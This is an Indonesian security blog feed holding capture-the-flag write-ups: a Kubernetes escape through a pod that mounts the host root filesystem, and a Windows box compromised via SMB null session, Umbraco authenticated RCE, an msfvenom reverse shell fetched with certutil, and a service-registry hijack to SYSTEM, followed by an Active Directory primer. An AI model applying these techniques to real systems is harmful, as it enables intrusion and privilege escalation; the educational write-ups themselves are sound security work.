<p>Disini menarik karena service account tokens pada kubernetes disimpan didalam secret API object yang mana user manapun dengan kemampuan write bisa melakukan request token dan user yang mempunyai izin baca bisa melakukan authentikasi menjadi service account dan disana diperingatkan juga jika harus hati hati saat memberikan permission pada service account.</p>



<p>Jadi jika service account itu diberikan kemampuan yang mumpuni misalkan untuk membuat pods baru dan eksekusi pods maka potensi melakukan breakout/escape pada kubernetes sangat mungkin dikarenakan kita bisa melakukan mounting directory pada host utama.</p>



<p>Contoh rules yaml-nya seperti berikut :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e65dacb59b848226dc2b6c14a321f2f6"><code>rules:
- apiGroups:
  - ""
  resources: &#91;"pods", "pods/exec"]
  verbs: &#91;"get", "list", "create", "update", "delete", "exec", "watch", "patch", "edit"]</code></pre>



<p>Dimana disini verbs atau izin, bisa melakukan apapun yang dimana hal ini bisa disalahgunakan dengan membuat pods baru. Jadi kita coba melakukan practicalnya, pertama kita perlu tools untuk berkomunikasi dengan API server di control plane menggunakan kubectl</p>



<p><a href="https://kubernetes.io/docs/tasks/tools">https://kubernetes.io/docs/tasks/tools</a></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-50a674d6fd413167569cbab00c26f6ed"><code>cd /tmp; curl -LO "https://dl.k8s.io/release/<strong>$(</strong>curl -L -s https://dl.k8s.io/release/stable.txt<strong>)</strong>/bin/linux/amd64/kubectl"
</code></pre>



<p>Untuk melakukan identifikasi jika yang kita compromised itu merupakan pods pada kubernetes, kita bisa membaca access token pada /var/run/secrets/kubernetes.io/serviceaccount/token dan jika outputnya merupakan string acak berarti kita berada pada container yang di isolasi.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="160" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png" alt="" class="wp-image-576" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-300x47.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-768x120.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15.png 1224w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kemudian kita cek permission dengan command <em>kubectl auth can-i &#8211;list</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="524" height="129" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png" alt="" class="wp-image-577" style="width:795px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png 524w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16-300x74.png 300w" sizes="auto, (max-width: 524px) 100vw, 524px" /></figure>



<p>Terlihat tanda * artinya disini kita bisa melakukan apapun pada pods dalam namespace yang kita gunakan saat ini, jadi disini kita mempunyai high privilege karena misconfiguration dari service account. Idenya kita akan membuat pods baru yang melakukan mounting pada host utama, jadi mari kita buat PoC yaml-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-871f0b835b64a91eaf3d3a9239e93ff0"><code>apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  containers:
    - name: privesc
      image: busybox:1.28
      command: &#91;'sh', '-c', 'echo "Privilege Escalation Payload" &amp;&amp; tail -f /dev/null']
      volumeMounts:
        - name: mounting
          mountPath: /tmp/main-host/
  volumes:
    - name: mounting
      hostPath:
        path: /</code></pre>



<p>yaml diatas merupakan script kubernetes untuk membuat pods baru dan dalam hal ini kita menamakan pods tersebut dengan &#8220;privesc&#8221; dan juga kita akan membuild container dari image busybox karena disini aku memilih busybox karena ukurannya yang relatif kecil, kemudian setelah itu kita melakukan volumeMount yang akan melakukan mounting host utama ke directory /tmp/main-host/ didalam container.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="742" height="296" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png" alt="" class="wp-image-578" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png 742w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17-300x120.png 300w" sizes="auto, (max-width: 742px) 100vw, 742px" /></figure>



<p>Gambar diatas kita melakukan create pods baru melalui file yaml yang kita buat kemudian kita melihat pods ada 3 dengan salah satu namanya yaitu &#8220;privesc&#8221;, yang mengindikasikan jika kita berhasil membuat pods baru, langkah selanjutnya kita exec dan masuk pada pods privesc dan cek directory /tmp/main-host/</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png" alt="" class="wp-image-579" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18.png 1106w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada directory main-host jika kita ls maka akan menampilkan filesystem dari main host yang dimana sesuai dari petunjuk challenge jika flag berada pada directory /root/root.txt</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1018" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png" alt="" class="wp-image-580" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png 1018w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-768x356.png 768w" sizes="auto, (max-width: 1018px) 100vw, 1018px" /></figure>



<p>Dan kita berhasil mendapatkan root flag <strong><em>bhitech{m3m4nG_b3N3R4N_h4ck3r_buk4N_ScRiPt_Kidd13S}</em></strong></p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>Kita berhasil menyelesaikan challenge dan mendapatkan root flag, disini kita bisa mengambil kesimpulan jika sesuatu yang kelihatan sepele seperti exploit OJS dengan melakukan lateral movement yang tepat bisa compromise atau takeover system sepenuhnya dan bayangkan saja jika terjadi di real world pada machine production maka akan sangat fatal sekali. Disini Bhineka Tech juga memberikan edukasi terkait OJS ini dan sekaligus mengangkat tema peretasan yang terkait dengan judi online karena banyak sekali platform dan website indonesia ini yang masih rentan tersusupi landing page dan backlink perjudian, semoga menambah insight dan memberikan awareness kepada peggiat di bidang ini khususnya cybersecurity.</p>



<p><em>&#8220;Jangan pernah menganggap belajar sebagai tugas, tetapi anggaplah sebagai kesempatan berharga untuk mempelajari sesuatu.&#8221;</em> &#8211; <strong>Albert Einstein</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Windows Pentesting Bhitech &#8211; Write Up</title>
		<link>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/</link>
					<comments>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 03 Feb 2025 06:02:09 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=514</guid>

					<description><![CDATA[<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal Terdapat beberapa service yang [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-f5f35207d78f2f9052282fb89e493989"><code>Pentest Day Bhitech Challenge

Host: 143.198.222.180
Machine: Windows
Level: Easy
Flag Format: bhitech{}

Deskripsi: Selamat datang di Pentest Day! Tantangan simpel, tapi seru. Tugasmu adalah mendapatkan dua flag yang tersembunyi di direktori user dan administrator. Gunakan segala cara dan skill yang kamu punya—dari eksploitasi sampai trik-trik cerdik lainnya!

Ingat, tujuan utamanya adalah eksplorasi dan belajar. Jangan merusak system yang ada! Semua yang kamu lakukan harus untuk tujuan edukasi.

Catatan: Jangan lupa fokus untuk eksploitasi dan seru-seruan—gak ada yang lebih keren dari belajar sambil nge-hack!

Good luck, happy hacking, and let’s grab those flags!</code></pre>



<p>Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="660" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png" alt="" class="wp-image-516" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-300x193.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-768x495.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422.png 1212w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terdapat beberapa service yang open diantarannya ada HTTP dan SMB yang bisa kita jadikan untuk foothold atau pijakan awal sebelum melakukan exploitation, dan jika dibuka pada service HTTP terlihat terdapat default halaman setelah installation <em><strong>Umbraco CMS</strong></em> dan juga terdapat form login untuk authentikasi</p>



<figure class="wp-block-image size-large is-style-default"><img loading="lazy" decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png" alt="" class="wp-image-522" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-768x411.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1536x823.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632.png 1557w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita tidak mempunyai valid credential untuk login, selanjutnya kita coba cek service berikutnya yaitu SMB server</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="837" height="251" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png" alt="" class="wp-image-524" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-768x230.png 768w" sizes="auto, (max-width: 837px) 100vw, 837px" /></figure>



<p>Ternyata terdapat vulnerability <em><strong>SMB null session</strong></em> artinya SMB tersebut mengizinkan authentikasi tanpa credential jadi kita bisa akses sharename tanpa memasukkan username/password, dan jika diperhatikan ada sharename yang tidak biasa yaitu <em><strong>DataManager</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1021" height="288" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png" alt="" class="wp-image-525" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png 1021w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-300x85.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-768x217.png 768w" sizes="auto, (max-width: 1021px) 100vw, 1021px" /></figure>



<p>Setelah diakses ditemukannya file XLS dengan nama <em><strong>member_account.xlsx</strong></em>, kemudian kita akan buka pada document viewer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="689" height="216" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png" alt="" class="wp-image-526" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png 689w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131-300x94.png 300w" sizes="auto, (max-width: 689px) 100vw, 689px" /></figure>



<p>Dokumen XLS tersebut berisikan informasi sensitive dari member Bhineka Tech yang juga menampilkan user, passsword beserta keahlian yang dimiliki beberapa member tetapi uniknya user dengan ID 3 berbeda dari yang lain yakni user tersebut menggunakan email dan jika kita lihat lagi pada login Umbraco diatas terdapat placeholder pada input username yaitu <em><strong>&#8220;Your username is usually your email&#8221;</strong></em> yang mengindikasikan jika username berupa email address, langsung saja kita coba login</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="526" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png" alt="" class="wp-image-527" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-300x154.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-768x394.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1536x788.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259.png 1855w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Berhasil masuk dashboard Administrator, dan langkah selanjutnya kita cek version dari CMS umbraco yang digunakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="687" height="459" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png" alt="" class="wp-image-528" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png 687w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-300x200.png 300w" sizes="auto, (max-width: 687px) 100vw, 687px" /></figure>



<p>Versi yang digunakan yaitu <em><strong>7.12.4</strong></em> dan jika kita melihat pada exploit database menggunakan searchsploit</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="141" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png" alt="" class="wp-image-529" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-300x41.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-768x106.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1536x211.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1.png 1868w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Ada vulnerability pada Umbraco versi <em><strong>7.12.4</strong></em> yaitu Remote Code Execution / RCE dengan kategori Authenticated yang berarti harus mempunyai privilege minimal untuk masuk dashboard, karena sudah didapatkan sebelumnya sekarang kita mulai untuk tahapan exploitation</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="476" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png" alt="" class="wp-image-530" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-768x357.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247.png 1114w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat berhasil melakukan code execution artinya exploit berhasil dan jika di inputkan beberapa command batch script dasar akan menampilkan output yang sesuai. </p>



<p>Karena tidak mungkin untuk melakukan command satu persatu dan bolak balik exploit jadi disini kita akan generate binary executable untuk reverse shell menggunakan msfvenom</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="149" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png" alt="" class="wp-image-532" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-300x44.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-768x112.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Karena casenya disini public server jadi kita melakukan generate binary reverse shell dengan listener yang di set ke IP VPS atau jika tidak mempunyai VPS bisa juga melakukan tunneling atau port forwarding menggunakan ngrok dan semacamnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="236" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png" alt="" class="wp-image-535" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-768x177.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1536x353.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3.png 1873w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>sebelumnya aku sudah aktifkan python http server di port 8000 pada VPS  jadi disini kita tinggal download binary di server target menggunakan <em><strong>certutil </strong></em>yang akan disimpan didalam temporary directory dalam case windows ada di <em><strong>C:/windows/temp</strong></em>, kemudian kita execute binary jadi tinggal dipanggil full pathnya otomatis akan ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="758" height="287" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png" alt="" class="wp-image-536" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png 758w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423-300x114.png 300w" sizes="auto, (max-width: 758px) 100vw, 758px" /></figure>



<p>Reverse shell berhasil dengan listener di port 9999, selanjutnya kita baca user flag pada directory users dan dalam hal ini ternyata user yang ada diserver menggunakan username rama</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="723" height="354" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png" alt="Gambar ini memiliki atribut alt yang kosong; nama berkasnya adalah image-4.png" class="wp-image-539" style="width:798px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png 723w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-300x147.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-720x354.png 720w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>User flag : <strong><em>&#8220;bhitech{KuL0_T14nG_J4W1}&#8221;</em></strong></p>



<p class="has-large-font-size"><em><strong>Privilege Escalation</strong></em></p>



<p>Selanjutnya kita diminta untuk membaca flag pada Administrator directory yang tentu saja akan access denied karena privilege user yang kita dapatkan merupakan Service Account yang tidak memiliki akses pada directory Administrator, jadi disini kita akan melakukan privilege escalation atau meningkatkan hak akses.</p>



<p>Sebenarnya ada banyak cara yang digunakan untuk enumeration pada tahapan post-exploitation pada windows sendiri, tapi disini kita akan automation saja menggunakan winpeas</p>



<p><a href="https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md">https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md</a></p>



<p>Jadi winpeas sendiri berfungsi untuk identifikasi service, component, kernel, scheduled task, registry dan lain lain jika terdapat suatu vulnerability ataupun misconfiguration yang bisa dimanfaatkan untuk melakukan Privilege Escalation</p>



<p>Download winpeas entah dengan menggunakan utility apapun bisa cURL ataupun certutil lalu jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="181" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png" alt="" class="wp-image-541" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-300x53.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-768x136.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1536x272.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7.png 1690w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini ditemukan suatu service dengan nama BhitechService yang dimana Authenticated Users atau user dalam machine tersebut dapat melakukan full control pada registry yang dimana ini sangat berbahaya karena attacker bisa mengganti binary executable pada registry service tersebut dengan malicious atau executable berbahaya</p>



<p>Seknarionya disini kita akan melakukan generate ulang binary reverse shell menggunakan msfvenom dengan listener port 9000, lalu kita ubah <em><strong>ImagePath</strong></em> dari registry BhitechService dengan binary reverse shell yang kita buat jadi saat service di restart otomatis akan dieksekusi sebagai NT/System</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="460" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png" alt="" class="wp-image-542" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-768x345.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1536x690.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8.png 1602w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Oke jadi disini menggunakan <em><strong>reg add</strong></em> yaitu command registry bawaan windows untuk replace binary ImagePath registry ke binary reverse shell yang kita buat, disini berhasil karena dari hasil enumeration dari winpeas Authenticated Users mempunyai full control pada registry BhitechService</p>



<p>Sekarang kita coba restart service menggunakan command <strong><em>net start BhitechService</em></strong> dan jangan lupa aktifkan netcat pada port 9000 yang kita buat tadi untuk dijadikan sebagai listener</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="611" height="183" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png" alt="" class="wp-image-543" style="width:815px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png 611w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841-300x90.png 300w" sizes="auto, (max-width: 611px) 100vw, 611px" /></figure>



<p>Untuk message dari output net start bisa dihiraukan yang terpenting kita berhasil mendapatkan shell sebagai <em><strong>NT/System</strong></em> atau privilege tertinggi pada windows machine</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="192" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png" alt="" class="wp-image-544" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png 879w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-300x66.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-768x168.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>Sekarang kita baca flagnya pada directory Administrator</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="966" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png" alt="" class="wp-image-545" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png 966w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-300x212.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-768x544.png 768w" sizes="auto, (max-width: 966px) 100vw, 966px" /></figure>



<p>Root flag : <em><strong>bhitech{G0tt_Acc3ss_adm1n_m4TuR_NuWun_s4ng3t}</strong></em></p>



<p>Challenge solved rek, dan untuk tambahan sebenarnya masih ada teknik privilege escalation lain yang bisa digunakan karena casenya disini kita mendapatkan akses ke service account dan mempunyai 2 privilege penting yaitu <em><strong>SeAssignPrimaryTokenPrivilege</strong></em> dan <em><strong>SeImpersonatePrivilege</strong></em> yang bisa dimanfaatkan untuk melakukan <em><strong>token impersonation</strong></em> dan mendapatkan akses ke NT/System karena terlalu panjang mungkin akan dibahas lain kali jadi itu saja semoga bermanfaat.</p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kenalan dengan Active Directory</title>
		<link>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/</link>
					<comments>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Thu, 09 Jan 2025 08:09:03 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=494</guid>

					<description><![CDATA[<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory. Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory.</p>



<p>Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada yang udah tau atau ada yang masih asing mendengar istilah Active Directory jadi daripada bingung ayo kita bahas</p>



<p>Active Directory ini bisa dikatakan suatu service berbasis direktori yang digunakan untuk mengelola resource dan infrastruktur dengan cara yang terstruktur. Maka dari itu Active Directory ini banyak di implementasikan pada perusahaan ataupun organisasi yang memiliki banyak komputer dan sumber daya karena menggunakan Active Directory ini memudahkan Administrator melakukan management maupun konfigurasi dengan cara terpusat/centralized.</p>



<p>Dalam Active Directory semua resource/sumber daya direpresentasikan menjadi suatu object dan object ini mencakup server, printer, komputer, domain, group dan user account. semua object ini akan dikelola oleh ADDS(Active Directory Domain Service) yang merupakan inti dari Active Directory itu sendiri. <em><strong>ADDS </strong></em>ini merupakan server yang mengatur semua konfigurasi dan rule/aturan resource pada jaringan didalam <em><strong>AD</strong></em> seperti keamanan, policy, permission dsb.</p>



<p>Lalu ada yang namanya <strong><em>Domain Controller</em></strong> yaitu merupakan server fisik atau computer yang menjalankan  service Active Directory, dengan kata lain <em><strong>Domain Controller</strong></em> ini bisa berupa hardware(server fisik) maupun virtual machine.</p>



